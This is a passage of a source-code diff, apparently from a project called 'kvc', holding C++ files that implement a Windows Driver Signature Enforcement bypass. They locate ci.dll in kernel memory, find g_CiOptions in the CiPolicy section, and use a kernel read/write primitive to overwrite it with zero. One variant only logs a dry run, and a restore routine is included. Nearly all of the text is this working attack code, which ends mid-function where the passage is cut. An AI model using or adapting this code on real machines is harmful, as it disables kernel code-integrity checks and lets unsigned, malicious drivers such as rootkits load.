ULONG_PTR baseAddr = reinterpret_cast<ULONG_PTR>(mod.ImageBase);
|
||||
|
||||
// Check if ImageBase is not NULL
|
||||
if (baseAddr == 0) {
|
||||
ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName);
|
||||
continue; // Keep searching
|
||||
}
|
||||
|
||||
INFO(L"[DSE] Found %S at 0x%llX", moduleName, baseAddr);
|
||||
return baseAddr;
|
||||
}
|
||||
}
|
||||
|
||||
ERROR(L"[DSE] Module %S not found in kernel", moduleName);
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept {
|
||||
INFO(L"[DSE] Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase);
|
||||
|
||||
auto dataSection = GetDataSection(ciBase);
|
||||
if (!dataSection) {
|
||||
ERROR(L"[DSE] Failed to locate data section in ci.dll");
|
||||
return 0;
|
||||
}
|
||||
|
||||
ULONG_PTR dataStart = dataSection->first;
|
||||
SIZE_T dataSize = dataSection->second;
|
||||
|
||||
INFO(L"[DSE] Scanning section: 0x%llX (size: 0x%llX)", dataStart, dataSize);
|
||||
|
||||
// Skanuj całą sekcję
|
||||
SIZE_T scanLimit = dataSize;
|
||||
DWORD consecutiveFailures = 0;
|
||||
|
||||
// ✅ DEBUG - wypisz WSZYSTKIE wartości w sekcji
|
||||
INFO(L"[DSE] Dumping all DWORD values in section:");
|
||||
for (ULONG_PTR addr = dataStart; addr < dataStart + scanLimit - 4; addr += 4) {
|
||||
auto value = m_rtc->Read32(addr);
|
||||
|
||||
if (!value) {
|
||||
consecutiveFailures++;
|
||||
DEBUG(L"[DSE] 0x%llX: [READ FAILED]", addr);
|
||||
if (consecutiveFailures > 20) {
|
||||
ERROR(L"[DSE] Too many consecutive read failures, aborting");
|
||||
return 0;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
consecutiveFailures = 0;
|
||||
DWORD val = value.value();
|
||||
|
||||
// Wypisz KAŻDĄ wartość
|
||||
DEBUG(L"[DSE] 0x%llX (offset 0x%llX): 0x%08X", addr, addr - ciBase, val);
|
||||
|
||||
// Pattern g_CiOptions
|
||||
if ((val & 0x6) == 0x6 && val < 0x10000) {
|
||||
ULONG_PTR offset = addr - ciBase;
|
||||
INFO(L"[DSE] *** FOUND g_CiOptions at: 0x%llX (offset: 0x%llX, value: 0x%08X)",
|
||||
addr, offset, val);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
ERROR(L"[DSE] g_CiOptions not found in section");
|
||||
return 0;
|
||||
}
|
||||
|
||||
std::optional<std::pair<ULONG_PTR, SIZE_T>> DSEBypass::GetDataSection(ULONG_PTR moduleBase) noexcept {
|
||||
auto dosHeader = m_rtc->Read16(moduleBase);
|
||||
if (!dosHeader || dosHeader.value() != 0x5A4D) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
auto e_lfanew = m_rtc->Read32(moduleBase + 0x3C);
|
||||
if (!e_lfanew || e_lfanew.value() > 0x1000) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
ULONG_PTR ntHeaders = moduleBase + e_lfanew.value();
|
||||
|
||||
auto peSignature = m_rtc->Read32(ntHeaders);
|
||||
if (!peSignature || peSignature.value() != 0x4550) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
auto numSections = m_rtc->Read16(ntHeaders + 0x6);
|
||||
if (!numSections || numSections.value() > 50) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
auto sizeOfOptionalHeader = m_rtc->Read16(ntHeaders + 0x14);
|
||||
if (!sizeOfOptionalHeader) return std::nullopt;
|
||||
|
||||
ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value();
|
||||
|
||||
// ✅ DEBUG - wylistuj WSZYSTKIE sekcje
|
||||
INFO(L"[DSE] Listing ALL sections in ci.dll:");
|
||||
for (WORD i = 0; i < numSections.value(); i++) {
|
||||
ULONG_PTR sectionHeader = firstSection + (i * 40);
|
||||
|
||||
char name[9] = {0};
|
||||
for (int j = 0; j < 8; j++) {
|
||||
auto ch = m_rtc->Read8(sectionHeader + j);
|
||||
if (ch) name[j] = static_cast<char>(ch.value());
|
||||
}
|
||||
|
||||
auto virtualSize = m_rtc->Read32(sectionHeader + 0x08);
|
||||
auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C);
|
||||
auto characteristics = m_rtc->Read32(sectionHeader + 0x24);
|
||||
|
||||
if (virtualSize && virtualAddr && characteristics) {
|
||||
DWORD chars = characteristics.value();
|
||||
bool writable = (chars & 0x80000000) != 0; // IMAGE_SCN_MEM_WRITE
|
||||
|
||||
INFO(L"[DSE] Section %d: %-8S RVA=0x%06X Size=0x%06X Chars=0x%08X %s",
|
||||
i, name, virtualAddr.value(), virtualSize.value(), chars,
|
||||
writable ? L"[WRITABLE]" : L"[READ-ONLY]");
|
||||
}
|
||||
}
|
||||
|
||||
// Teraz szukaj sekcji zawierającej offset 0x4E004
|
||||
for (WORD i = 0; i < numSections.value(); i++) {
|
||||
ULONG_PTR sectionHeader = firstSection + (i * 40);
|
||||
|
||||
char name[9] = {0};
|
||||
for (int j = 0; j < 8; j++) {
|
||||
auto ch = m_rtc->Read8(sectionHeader + j);
|
||||
if (ch) name[j] = static_cast<char>(ch.value());
|
||||
}
|
||||
|
||||
auto virtualSize = m_rtc->Read32(sectionHeader + 0x08);
|
||||
auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C);
|
||||
|
||||
if (virtualSize && virtualAddr) {
|
||||
DWORD rva = virtualAddr.value();
|
||||
DWORD size = virtualSize.value();
|
||||
|
||||
// Sprawdź czy offset 0x4E004 jest w tej sekcji
|
||||
if (0x4E004 >= rva && 0x4E004 < (rva + size)) {
|
||||
INFO(L"[DSE] Section %S contains offset 0x4E004!", name);
|
||||
|
||||
return std::make_pair(
|
||||
moduleBase + rva,
|
||||
static_cast<SIZE_T>(size)
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ERROR(L"[DSE] No section found containing offset 0x4E004");
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
bool DSEBypass::IsValidDataPointer(ULONG_PTR moduleBase, ULONG_PTR addr) noexcept {
|
||||
// Simplified validation - address should be within module
|
||||
return (addr > moduleBase && addr < moduleBase + 0x200000);
|
||||
}
|
||||
|
||||
DWORD DSEBypass::GetWindowsBuild() noexcept {
|
||||
OSVERSIONINFOEXW osInfo = { sizeof(osInfo) };
|
||||
|
||||
typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
|
||||
RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress(
|
||||
GetModuleHandleW(L"ntdll.dll"), "RtlGetVersion");
|
||||
|
||||
if (RtlGetVersion) {
|
||||
RtlGetVersion((PRTL_OSVERSIONINFOW)&osInfo);
|
||||
return osInfo.dwBuildNumber;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
394
kvc/DSEBypass_read_test.cpp
Normal file
394
kvc/DSEBypass_read_test.cpp
Normal file
@@ -0,0 +1,394 @@
|
||||
#include "DSEBypass.h"
|
||||
#include "common.h"
|
||||
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
// Kernel module structures (same as in Utils.cpp)
|
||||
typedef struct _SYSTEM_MODULE {
|
||||
ULONG_PTR Reserved1;
|
||||
ULONG_PTR Reserved2;
|
||||
PVOID ImageBase;
|
||||
ULONG ImageSize;
|
||||
ULONG Flags;
|
||||
USHORT LoadOrderIndex;
|
||||
USHORT InitOrderIndex;
|
||||
USHORT LoadCount;
|
||||
USHORT PathLength;
|
||||
CHAR ImageName[256];
|
||||
} SYSTEM_MODULE, *PSYSTEM_MODULE;
|
||||
|
||||
typedef struct _SYSTEM_MODULE_INFORMATION {
|
||||
ULONG Count;
|
||||
SYSTEM_MODULE Modules[1];
|
||||
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
|
||||
|
||||
DSEBypass::DSEBypass(std::unique_ptr<kvc>& rtc) : m_rtc(rtc) {}
|
||||
|
||||
bool DSEBypass::DisableDSE() noexcept {
|
||||
INFO(L"[DSE] Attempting to disable Driver Signature Enforcement...");
|
||||
|
||||
// Step 1: Find ci.dll base address
|
||||
auto ciBase = GetKernelModuleBase("ci.dll");
|
||||
if (!ciBase) {
|
||||
ERROR(L"[DSE] Failed to locate ci.dll");
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"[DSE] ci.dll base: 0x%llX", ciBase.value());
|
||||
|
||||
// Step 2: Locate g_CiOptions in CiPolicy section
|
||||
m_ciOptionsAddr = FindCiOptions(ciBase.value());
|
||||
if (!m_ciOptionsAddr) {
|
||||
ERROR(L"[DSE] Failed to locate g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr);
|
||||
|
||||
// Step 3: Read current value and store as original
|
||||
auto current = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!current) {
|
||||
ERROR(L"[DSE] Failed to read g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
m_originalValue = current.value();
|
||||
INFO(L"[DSE] Original g_CiOptions: 0x%08X", m_originalValue);
|
||||
|
||||
// Step 4: Test write capability - write same value back
|
||||
DEBUG(L"[DSE] Testing write capability before modification...");
|
||||
if (!m_rtc->Write32(m_ciOptionsAddr, m_originalValue)) {
|
||||
ERROR(L"[DSE] Memory test write failed - address may be read-only or protected");
|
||||
ERROR(L"[DSE] This could indicate Tamper Protection or PatchGuard monitoring");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Verify test write
|
||||
auto testRead = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!testRead || testRead.value() != m_originalValue) {
|
||||
ERROR(L"[DSE] Memory test verification failed (expected: 0x%08X, got: 0x%08X)",
|
||||
m_originalValue, testRead ? testRead.value() : 0xFFFFFFFF);
|
||||
ERROR(L"[DSE] Memory region appears to be protected or monitored");
|
||||
return false;
|
||||
}
|
||||
|
||||
DEBUG(L"[DSE] Write capability test passed - memory is writable");
|
||||
|
||||
// Step 5: Disable DSE by setting to 0
|
||||
DWORD newValue = 0x0;
|
||||
|
||||
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
|
||||
ERROR(L"[DSE] Failed to write g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Step 6: Verify the actual change
|
||||
auto verify = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!verify || verify.value() != newValue) {
|
||||
ERROR(L"[DSE] Verification failed (read back: 0x%08X)", verify ? verify.value() : 0xFFFFFFFF);
|
||||
return false;
|
||||
}
|
||||
|
||||
SUCCESS(L"[DSE] DSE disabled successfully! (0x%08X -> 0x%08X)", m_originalValue, newValue);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool DSEBypass::RestoreDSE() noexcept {
|
||||
INFO(L"[DSE] Attempting to restore Driver Signature Enforcement...");
|
||||
|
||||
// Step 1: Find ci.dll base address
|
||||
auto ciBase = GetKernelModuleBase("ci.dll");
|
||||
if (!ciBase) {
|
||||
ERROR(L"[DSE] Failed to locate ci.dll");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Step 2: Locate g_CiOptions
|
||||
m_ciOptionsAddr = FindCiOptions(ciBase.value());
|
||||
if (!m_ciOptionsAddr) {
|
||||
ERROR(L"[DSE] Failed to locate g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr);
|
||||
|
||||
// Step 3: Read current value
|
||||
auto current = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!current) {
|
||||
ERROR(L"[DSE] Failed to read g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD currentValue = current.value();
|
||||
INFO(L"[DSE] Current g_CiOptions: 0x%08X", currentValue);
|
||||
|
||||
// Step 4: Test write capability before modification
|
||||
DEBUG(L"[DSE] Testing write capability before restoration...");
|
||||
if (!m_rtc->Write32(m_ciOptionsAddr, currentValue)) {
|
||||
ERROR(L"[DSE] Memory test write failed - address may be read-only or protected");
|
||||
return false;
|
||||
}
|
||||
|
||||
auto testRead = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!testRead || testRead.value() != currentValue) {
|
||||
ERROR(L"[DSE] Memory test verification failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
DEBUG(L"[DSE] Write capability test passed");
|
||||
|
||||
// Step 5: Restore to original value or default (0x6)
|
||||
DWORD newValue = m_originalValue ? m_originalValue : 0x6;
|
||||
|
||||
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
|
||||
ERROR(L"[DSE] Failed to write g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Step 6: Verify the change
|
||||
auto verify = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!verify || verify.value() != newValue) {
|
||||
ERROR(L"[DSE] Verification failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
SUCCESS(L"[DSE] DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
|
||||
return true;
|
||||
}
|
||||
|
||||
std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept {
|
||||
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
|
||||
if (!hNtdll) {
|
||||
ERROR(L"[DSE] Failed to get ntdll.dll handle");
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)(
|
||||
ULONG SystemInformationClass,
|
||||
PVOID SystemInformation,
|
||||
ULONG SystemInformationLength,
|
||||
PULONG ReturnLength
|
||||
);
|
||||
|
||||
auto pNtQuerySystemInformation = reinterpret_cast<NTQUERYSYSTEMINFORMATION>(
|
||||
GetProcAddress(hNtdll, "NtQuerySystemInformation"));
|
||||
|
||||
if (!pNtQuerySystemInformation) {
|
||||
ERROR(L"[DSE] Failed to get NtQuerySystemInformation");
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// First call to get required buffer size
|
||||
ULONG bufferSize = 0;
|
||||
NTSTATUS status = pNtQuerySystemInformation(
|
||||
11, // SystemModuleInformation
|
||||
nullptr,
|
||||
0,
|
||||
&bufferSize
|
||||
);
|
||||
|
||||
if (status != 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH
|
||||
ERROR(L"[DSE] NtQuerySystemInformation failed with status: 0x%08X", status);
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// Allocate buffer and get module list
|
||||
auto buffer = std::make_unique<BYTE[]>(bufferSize);
|
||||
auto modules = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.get());
|
||||
|
||||
status = pNtQuerySystemInformation(
|
||||
11, // SystemModuleInformation
|
||||
modules,
|
||||
bufferSize,
|
||||
&bufferSize
|
||||
);
|
||||
|
||||
if (status != 0) {
|
||||
ERROR(L"[DSE] NtQuerySystemInformation failed (2nd call): 0x%08X", status);
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
INFO(L"[DSE] Found %d kernel modules", modules->Count);
|
||||
|
||||
// Debug: Show first 10 modules for diagnostic purposes
|
||||
DEBUG(L"[DSE] Listing first 10 kernel modules:");
|
||||
for (ULONG i = 0; i < modules->Count && i < 10; i++) {
|
||||
auto& mod = modules->Modules[i];
|
||||
const char* fileName = strrchr(mod.ImageName, '\\');
|
||||
if (fileName) fileName++;
|
||||
else fileName = mod.ImageName;
|
||||
|
||||
DEBUG(L"[DSE] Module %d: %S at 0x%llX", i, fileName,
|
||||
reinterpret_cast<ULONG_PTR>(mod.ImageBase));
|
||||
}
|
||||
|
||||
// Search for target module by name
|
||||
for (ULONG i = 0; i < modules->Count; i++) {
|
||||
auto& mod = modules->Modules[i];
|
||||
|
||||
// Extract filename from full path
|
||||
const char* fileName = strrchr(mod.ImageName, '\\');
|
||||
if (fileName) {
|
||||
fileName++; // Skip backslash
|
||||
} else {
|
||||
fileName = mod.ImageName;
|
||||
}
|
||||
|
||||
if (_stricmp(fileName, moduleName) == 0) {
|
||||
ULONG_PTR baseAddr = reinterpret_cast<ULONG_PTR>(mod.ImageBase);
|
||||
|
||||
// Validate base address is not NULL
|
||||
if (baseAddr == 0) {
|
||||
ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName);
|
||||
continue; // Keep searching in case of duplicates
|
||||
}
|
||||
|
||||
DEBUG(L"[DSE] Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize);
|
||||
return baseAddr;
|
||||
}
|
||||
}
|
||||
|
||||
ERROR(L"[DSE] Module %S not found in kernel", moduleName);
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept {
|
||||
DEBUG(L"[DSE] Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase);
|
||||
|
||||
// Get CiPolicy section information
|
||||
auto dataSection = GetDataSection(ciBase);
|
||||
if (!dataSection) {
|
||||
ERROR(L"[DSE] Failed to locate CiPolicy section in ci.dll");
|
||||
return 0;
|
||||
}
|
||||
|
||||
ULONG_PTR dataStart = dataSection->first;
|
||||
SIZE_T dataSize = dataSection->second;
|
||||
|
||||
DEBUG(L"[DSE] CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize);
|
||||
|
||||
// g_CiOptions is always at offset +4 in CiPolicy section
|
||||
// This is a documented offset used by all DSE bypass tools
|
||||
ULONG_PTR ciOptionsAddr = dataStart + 0x4;
|
||||
|
||||
// Verify we can read from this address
|
||||
auto currentValue = m_rtc->Read32(ciOptionsAddr);
|
||||
if (!currentValue) {
|
||||
ERROR(L"[DSE] Failed to read g_CiOptions at 0x%llX", ciOptionsAddr);
|
||||
return 0;
|
||||
}
|
||||
|
||||
DEBUG(L"[DSE] Found g_CiOptions at: 0x%llX (value: 0x%08X)", ciOptionsAddr, currentValue.value());
|
||||
return ciOptionsAddr;
|
||||
}
|
||||
|
||||
std::optional<std::pair<ULONG_PTR, SIZE_T>> DSEBypass::GetDataSection(ULONG_PTR moduleBase) noexcept {
|
||||
// Read DOS header (MZ signature)
|
||||
auto dosHeader = m_rtc->Read16(moduleBase);
|
||||
if (!dosHeader || dosHeader.value() != 0x5A4D) { // "MZ"
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// Get PE header offset (e_lfanew)
|
||||
auto e_lfanew = m_rtc->Read32(moduleBase + 0x3C);
|
||||
if (!e_lfanew || e_lfanew.value() > 0x1000) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
ULONG_PTR ntHeaders = moduleBase + e_lfanew.value();
|
||||
|
||||
// Verify PE signature
|
||||
auto peSignature = m_rtc->Read32(ntHeaders);
|
||||
if (!peSignature || peSignature.value() != 0x4550) { // "PE"
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// Get section count
|
||||
auto numSections = m_rtc->Read16(ntHeaders + 0x6);
|
||||
if (!numSections || numSections.value() > 50) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
auto sizeOfOptionalHeader = m_rtc->Read16(ntHeaders + 0x14);
|
||||
if (!sizeOfOptionalHeader) return std::nullopt;
|
||||
|
||||
ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value();
|
||||
|
||||
// Debug: List all sections for diagnostic purposes
|
||||
DEBUG(L"[DSE] Listing ALL sections in ci.dll:");
|
||||
for (WORD i = 0; i < numSections.value(); i++) {
|
||||
ULONG_PTR sectionHeader = firstSection + (i * 40);
|
||||
|
||||
// Read section name (8 bytes)
|
||||
char name[9] = {0};
|
||||
for (int j = 0; j < 8; j++) {
|
||||
auto ch = m_rtc->Read8(sectionHeader + j);
|
||||
if (ch) name[j] = static_cast<char>(ch.value());
|
||||
}
|
||||
|
||||
auto virtualSize = m_rtc->Read32(sectionHeader + 0x08);
|
||||
auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C);
|
||||
auto characteristics = m_rtc->Read32(sectionHeader + 0x24);
|
||||
|
||||
if (virtualSize && virtualAddr && characteristics) {
|
||||
DWORD chars = characteristics.value();
|
||||
bool writable = (chars & 0x80000000) != 0; // IMAGE_SCN_MEM_WRITE
|
||||
|
||||
DEBUG(L"[DSE] Section %d: %-8S RVA=0x%06X Size=0x%06X Chars=0x%08X %s",
|
||||
i, name, virtualAddr.value(), virtualSize.value(), chars,
|
||||
writable ? L"[WRITABLE]" : L"[READ-ONLY]");
|
||||
}
|
||||
}
|
||||
|
||||
// Search for CiPolicy section specifically
|
||||
for (WORD i = 0; i < numSections.value(); i++) {
|
||||
ULONG_PTR sectionHeader = firstSection + (i * 40);
|
||||
|
||||
// Read section name
|
||||
char name[9] = {0};
|
||||
for (int j = 0; j < 8; j++) {
|
||||
auto ch = m_rtc->Read8(sectionHeader + j);
|
||||
if (ch) name[j] = static_cast<char>(ch.value());
|
||||
}
|
||||
|
||||
auto virtualSize = m_rtc->Read32(sectionHeader + 0x08);
|
||||
auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C);
|
||||
|
||||
if (virtualSize && virtualAddr) {
|
||||
// Look for CiPolicy section by name
|
||||
if (strcmp(name, "CiPolicy") == 0) {
|
||||
DEBUG(L"[DSE] Found CiPolicy section at RVA 0x%06X, size 0x%06X",
|
||||
virtualAddr.value(), virtualSize.value());
|
||||
|
||||
return std::make_pair(
|
||||
moduleBase + virtualAddr.value(),
|
||||
static_cast<SIZE_T>(virtualSize.value())
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ERROR(L"[DSE] CiPolicy section not found in ci.dll");
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
bool DSEBypass::IsValidDataPointer(ULONG_PTR moduleBase, ULONG_PTR addr) noexcept {
|
||||
// Simplified validation - address should be within module bounds
|
||||
// Maximum reasonable module size is 2MB
|
||||
return (addr > moduleBase && addr < moduleBase + 0x200000);
|
||||
}
|
||||
|
||||
DWORD DSEBypass::GetWindowsBuild() noexcept {
|
||||
OSVERSIONINFOEXW osInfo = { sizeof(osInfo) };
|
||||
|
||||
typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
|
||||
RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress(
|
||||
GetModuleHandleW(L"ntdll.dll"), "RtlGetVersion");
|
||||
|
||||
if (RtlGetVersion) {
|
||||
RtlGetVersion((PRTL_OSVERSIONINFOW)&osInfo);
|
||||
return osInfo.dwBuildNumber;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
358
kvc/DSEBypass_write.cpp
Normal file
358
kvc/DSEBypass_write.cpp
Normal file
@@ -0,0 +1,358 @@
|
||||
#include "DSEBypass.h"
|
||||
#include "common.h"
|
||||
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
// Kernel module structures (same as in Utils.cpp)
|
||||
typedef struct _SYSTEM_MODULE {
|
||||
ULONG_PTR Reserved1;
|
||||
ULONG_PTR Reserved2;
|
||||
PVOID ImageBase;
|
||||
ULONG ImageSize;
|
||||
ULONG Flags;
|
||||
USHORT LoadOrderIndex;
|
||||
USHORT InitOrderIndex;
|
||||
USHORT LoadCount;
|
||||
USHORT PathLength;
|
||||
CHAR ImageName[256];
|
||||
} SYSTEM_MODULE, *PSYSTEM_MODULE;
|
||||
|
||||
typedef struct _SYSTEM_MODULE_INFORMATION {
|
||||
ULONG Count;
|
||||
SYSTEM_MODULE Modules[1];
|
||||
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
|
||||
|
||||
DSEBypass::DSEBypass(std::unique_ptr<kvc>& rtc) : m_rtc(rtc) {}
|
||||
|
||||
bool DSEBypass::DisableDSE() noexcept {
|
||||
INFO(L"[DSE] [DRY RUN MODE] Attempting to disable Driver Signature Enforcement...");
|
||||
|
||||
// Step 1: Find ci.dll base address
|
||||
auto ciBase = GetKernelModuleBase("ci.dll");
|
||||
if (!ciBase) {
|
||||
ERROR(L"[DSE] Failed to locate ci.dll");
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"[DSE] ci.dll base: 0x%llX", ciBase.value());
|
||||
|
||||
// Step 2: Locate g_CiOptions in CiPolicy section
|
||||
m_ciOptionsAddr = FindCiOptions(ciBase.value());
|
||||
if (!m_ciOptionsAddr) {
|
||||
ERROR(L"[DSE] Failed to locate g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr);
|
||||
|
||||
// Step 3: Read current value and store as original
|
||||
auto current = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!current) {
|
||||
ERROR(L"[DSE] Failed to read g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
m_originalValue = current.value();
|
||||
INFO(L"[DSE] Original g_CiOptions: 0x%08X", m_originalValue);
|
||||
|
||||
// Step 4: DRY RUN - Show what would be written for test
|
||||
DWORD newValue = 0x0;
|
||||
INFO(L"[DSE] [DRY RUN] WOULD write test: 0x%08X -> 0x%08X (same value test)",
|
||||
m_originalValue, m_originalValue);
|
||||
INFO(L"[DSE] [DRY RUN] Target address: 0x%llX", m_ciOptionsAddr);
|
||||
|
||||
// Step 5: DRY RUN - Show what would be written for actual disable
|
||||
INFO(L"[DSE] [DRY RUN] WOULD write actual: 0x%08X -> 0x%08X (disable DSE)",
|
||||
m_originalValue, newValue);
|
||||
INFO(L"[DSE] [DRY RUN] Target address: 0x%llX", m_ciOptionsAddr);
|
||||
|
||||
SUCCESS(L"[DSE] [DRY RUN] DSE disable simulation completed (NO actual write performed)");
|
||||
SUCCESS(L"[DSE] [DRY RUN] If this succeeded, the real write would be: 0x%llX := 0x%08X",
|
||||
m_ciOptionsAddr, newValue);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool DSEBypass::RestoreDSE() noexcept {
|
||||
INFO(L"[DSE] [DRY RUN MODE] Attempting to restore Driver Signature Enforcement...");
|
||||
|
||||
// Step 1: Find ci.dll base address
|
||||
auto ciBase = GetKernelModuleBase("ci.dll");
|
||||
if (!ciBase) {
|
||||
ERROR(L"[DSE] Failed to locate ci.dll");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Step 2: Locate g_CiOptions
|
||||
m_ciOptionsAddr = FindCiOptions(ciBase.value());
|
||||
if (!m_ciOptionsAddr) {
|
||||
ERROR(L"[DSE] Failed to locate g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr);
|
||||
|
||||
// Step 3: Read current value
|
||||
auto current = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!current) {
|
||||
ERROR(L"[DSE] Failed to read g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD currentValue = current.value();
|
||||
INFO(L"[DSE] Current g_CiOptions: 0x%08X", currentValue);
|
||||
|
||||
// Step 4: DRY RUN - Show what would be written for test
|
||||
INFO(L"[DSE] [DRY RUN] WOULD write test: 0x%08X -> 0x%08X (same value test)",
|
||||
currentValue, currentValue);
|
||||
INFO(L"[DSE] [DRY RUN] Target address: 0x%llX", m_ciOptionsAddr);
|
||||
|
||||
// Step 5: DRY RUN - Show what would be written for restore
|
||||
DWORD newValue = m_originalValue ? m_originalValue : 0x6;
|
||||
INFO(L"[DSE] [DRY RUN] WOULD write actual: 0x%08X -> 0x%08X (restore DSE)",
|
||||
currentValue, newValue);
|
||||
INFO(L"[DSE] [DRY RUN] Target address: 0x%llX", m_ciOptionsAddr);
|
||||
|
||||
SUCCESS(L"[DSE] [DRY RUN] DSE restore simulation completed (NO actual write performed)");
|
||||
SUCCESS(L"[DSE] [DRY RUN] If this succeeded, the real write would be: 0x%llX := 0x%08X",
|
||||
m_ciOptionsAddr, newValue);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept {
|
||||
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
|
||||
if (!hNtdll) {
|
||||
ERROR(L"[DSE] Failed to get ntdll.dll handle");
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)(
|
||||
ULONG SystemInformationClass,
|
||||
PVOID SystemInformation,
|
||||
ULONG SystemInformationLength,
|
||||
PULONG ReturnLength
|
||||
);
|
||||
|
||||
auto pNtQuerySystemInformation = reinterpret_cast<NTQUERYSYSTEMINFORMATION>(
|
||||
GetProcAddress(hNtdll, "NtQuerySystemInformation"));
|
||||
|
||||
if (!pNtQuerySystemInformation) {
|
||||
ERROR(L"[DSE] Failed to get NtQuerySystemInformation");
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// First call to get required buffer size
|
||||
ULONG bufferSize = 0;
|
||||
NTSTATUS status = pNtQuerySystemInformation(
|
||||
11, // SystemModuleInformation
|
||||
nullptr,
|
||||
0,
|
||||
&bufferSize
|
||||
);
|
||||
|
||||
if (status != 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH
|
||||
ERROR(L"[DSE] NtQuerySystemInformation failed with status: 0x%08X", status);
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// Allocate buffer and get module list
|
||||
auto buffer = std::make_unique<BYTE[]>(bufferSize);
|
||||
auto modules = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.get());
|
||||
|
||||
status = pNtQuerySystemInformation(
|
||||
